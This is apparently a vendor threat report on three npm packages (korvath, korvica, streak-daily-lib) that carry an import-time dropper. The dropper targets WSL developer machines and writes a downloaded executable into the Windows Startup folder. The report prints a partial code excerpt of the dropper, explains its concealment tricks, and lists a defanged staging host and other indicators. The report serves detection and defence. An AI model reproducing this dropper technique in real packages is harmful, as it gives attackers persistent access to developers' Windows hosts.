Securing the agentic AI software supply chain
← Research
Threat report Jul 29, 2026

korvica and streak-daily-lib on npm: a transitive dependency drops a Windows persistence payload through WSL

korvath and korvica, published by the account kilomev, and streak-daily-lib, published by taipen_chat, present as calendar and streak math libraries. The consumer package is harmless. The payload rides in a helper that runs on import, detects a Windows Subsystem for Linux developer machine, downloads an executable from a shared file-hosting bucket, and writes it into the Windows Startup folder for logon persistence. The three packages link to one operation at high confidence.

korvath and korvica (published July 21, 2026 by the account kilomev) present as a goal and hydration streak-analytics library and its calendar-math helper. streak-daily-lib, published by the account taipen_chat, presents as the same kind of primitive. The package a developer installs by name is a working, harmless library. The payload lives in the helper it imports, and it runs the moment that helper is evaluated, with no install script involved.

The helper checks whether it is running on a Windows Subsystem for Linux developer machine, reaches a file-hosting bucket, and writes an executable into the Windows Startup folder so it runs at every login. The three packages link to one operation at high confidence.

The artifacts

korvath is the base package. Its own code computes streaks over calendar days and does nothing hostile. It imports five functions from korvica (dayKey, addDays, dayDiff, bucketByDay, qualifyingDayKeys), so installing and importing korvath pulls korvica in and evaluates it. korvica is where the payload sits. Both were published on July 21, 2026 by kilomev.

streak-daily-lib repeats the pattern under a second account, taipen_chat. Its package.json describes it as a helper for svelte-insights-hydration, a consumer package that is not published (npm returns HTTP 404 for that name). Its own code carries the same dropper, fully hex-encoded.

PackagePublishing accountRole
korvathkilomevBenign consumer that imports korvica
korvicakilomevPayload helper, plaintext dropper
streak-daily-libtaipen_chatPayload helper, hex-obfuscated dropper

What it does

korvica’s index.mjs ends with a top-level async function that runs on import, placed directly under a benign startup self-check so it reads as more initialization. It returns early unless four conditions hold: the runtime is not a browser, process.platform is linux, NODE_ENV is not production, and /mnt/c exists. The /mnt/c test is the discriminator. It identifies a Linux process running under WSL with the Windows drive mounted, which describes a developer workstation rather than a server or a CI runner.

Past the guards, the code locates the real Windows user profile under /mnt/c/Users (skipping Default, Public, and All Users, and requiring an NTUSER.DAT hive), builds the path to that user’s Startup folder, downloads a file from a Backblaze B2 bucket, and writes it there as vite-native-helper.exe. Anything placed in the Startup folder executes at the next Windows login. The fs and path modules arrive through dynamic await import() rather than static imports, and the download URL is assembled from separate variables, so neither the filesystem capability nor the host reads as a literal on a quick pass. Every error is swallowed.

if (typeof window !== 'undefined' || typeof process === 'undefined') return;
if (process.env.NODE_ENV === 'production' || process.platform !== 'linux') return;
const { existsSync, mkdirSync, writeFileSync } = await import('fs');
const base = '/mnt/c';
if (!existsSync(base)) return;
// ...resolve the Windows user profile, build the Startup path...
const out = join(target, 'vite-native-helper.exe');
writeFileSync(out, Buffer.from(await res.arrayBuffer()));

streak-daily-lib carries the same behavior with heavier concealment. The configuration table of hex strings decodes at run time to the same Windows paths, WSL markers, and host used by korvica. It downloads a helper.tar.gz and a background-service binary from the same bucket, spawns tar to unpack the archive, launches the service detached, and writes an env-setup.cmd launcher into the Startup folder that starts the binary silently at login.

korvath (benign base) imports korvica korvica (payload helper) import-time WSL dropper streak-daily-lib hex-obfuscated variant Shared file-hosting bucket f004[.]backblazeb2[.]com Windows Startup folder logon persistence via /mnt/c Aephix
The benign consumer imports the helper, the helper drops an executable from a shared bucket into the Windows Startup folder, and a second account feeds the same bucket.

The malicious code runs inside the Linux or WSL environment, where a mistake is assumed to stay contained, and writes into the Windows host through the mounted drive. There is no install hook, so ignore-scripts does not stop it. Import happens during an ordinary vite build or dev run and during pnpm test, which korvath’s own README states plainly.

One operation across two accounts

The three packages belong to one operation, at high confidence. All of them retrieve their payload from the same file-hosting bucket. They carry the same calendar and streak decoy theme, and they use the same packaging shape of a benign consumer importing a payload-bearing helper against the same WSL-to-Windows target. The work is split across the accounts kilomev and taipen_chat. Per-package or per-account review surfaces a handful of unrelated calendar utilities, not one campaign.

Operational scope

The operation can republish the helper under a new name, wire it into a fresh benign consumer, and keep the same bucket and the same drop. Treating korvath, korvica, and streak-daily-lib as one operation lets a defender block the whole set and the infrastructure behind it.

What a defender can do

Search your lockfiles for korvath, korvica, and streak-daily-lib. If any resolved on a WSL developer machine, inspect the Windows user’s Startup folder from the Linux side, at /mnt/c/Users/<name>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup, for vite-native-helper.exe or env-setup.cmd, and treat the host as compromised.

The import-time trigger means ignore-scripts=true gives no protection here. The behavior only runs on a Linux or WSL host with the Windows drive mounted, so a plain CI image or a production build never exhibits it, which narrows where you can observe it and helps explain how it stayed quiet.

Provenance review of korvath alone finds nothing, because korvath’s own bytes are clean.

Where Aephix fits

Per-artifact review misses the case where a clean package’s only fault is the dependency it pulls. Aephix Sleuth links the clean consumer and the hostile dependency to one operation, so both surface together. Aephix Vantage gives you a free cross-ecosystem check before you install, covering the transitive threat that reviewing one package at a time cannot.

Indicators of compromise

TypeIndicatorContext
npm packagekorvathBenign consumer that imports korvica
npm packagekorvicaPlaintext WSL-to-Windows dropper helper
npm packagestreak-daily-libHex-obfuscated dropper helper
npm accountkilomevPublisher of korvath and korvica
npm accounttaipen_chatPublisher of streak-daily-lib
Referenced package (404)svelte-insights-hydrationConsumer claimed by streak-daily-lib, not published
Staging hostf004[.]backblazeb2[.]com/file/dp8hbvocjd2fpzaBackblaze B2 bucket serving the payloads
Payload objectvite-dep.dat, helper.tar.gz, background-serviceFiles fetched from the bucket
Dropped filevite-native-helper.exeWritten into the Windows Startup folder
Dropped fileenv-setup.cmdSilent launcher written into the Startup folder
Environment gate/mnt/c present, WSL_DISTRO_NAME setWSL developer-machine selector
PersistenceAppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupLogon autorun location